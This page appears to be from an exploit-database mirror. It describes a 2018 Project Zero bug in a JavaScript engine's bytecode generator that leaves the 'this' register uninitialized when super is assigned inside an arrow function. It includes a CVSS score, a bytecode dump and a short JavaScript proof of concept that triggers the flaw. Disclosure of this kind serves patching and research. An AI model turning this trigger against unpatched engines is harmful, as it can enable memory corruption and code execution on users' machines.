header-logo
Suggest Exploit
vendor:
N/A
by:
Project Zero
8,8
CVSS
HIGH
Improper Initialization
665
CWE
Product Name: N/A
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: Yes
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2018

EmitAssignment doesn’t call EmitSuperMethodBegin

The vulnerability occurs when the “EmitAssignment” function does not call the “EmitSuperMethodBegin” function which initializes the “this” register for the case when the super keyword is used. This can lead to an uninitialized “this” register which can be exploited by an attacker to gain access to sensitive information or execute malicious code.

Mitigation:

The best way to mitigate this vulnerability is to ensure that the “EmitSuperMethodBegin” function is called whenever the “EmitAssignment” function is used.
Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1283

"EmitAssignment" doesn't call "EmitSuperMethodBegin" that initializes the "this" register for the case when the super keyword is used. 

Here's the generated bytecode for the lambda function in the PoC. R5 is uninitialized.
Function Anonymous function ( (#1.3), #4) (In0) (size: 7 [7])
      9 locals (1 temps from R8), 1 inline cache
    Constant Table:
    ======== =====
     R1 LdRoot    
     R2 Ld_A       (undefined)
     R3 LdC_A_I4   int:1 
    
    0000   ProfiledLdEnvSlot    R6 = [1][4]  <0> 
    000c   ProfiledLdEnvSlot    R4 = [1][3]  <1> 


  Line  28: super.a = 1;
  Col   13: ^
    0018   LdHomeObjProto       R8  R4 
    001d   ProfiledStSuperFld   R8.(this=R5) = R3 #0 <0> 
    0025   LdUndef              R0 


  Line  29: }
  Col    9: ^
    0027   Ret

PoC:
-->

class Parent {

};

class Child extends Parent {
    constructor() {
        (() => {
            super.a = 10;  // Implicitly use the "this" register. So it must be initialized.
        })();
    }
};

new Child();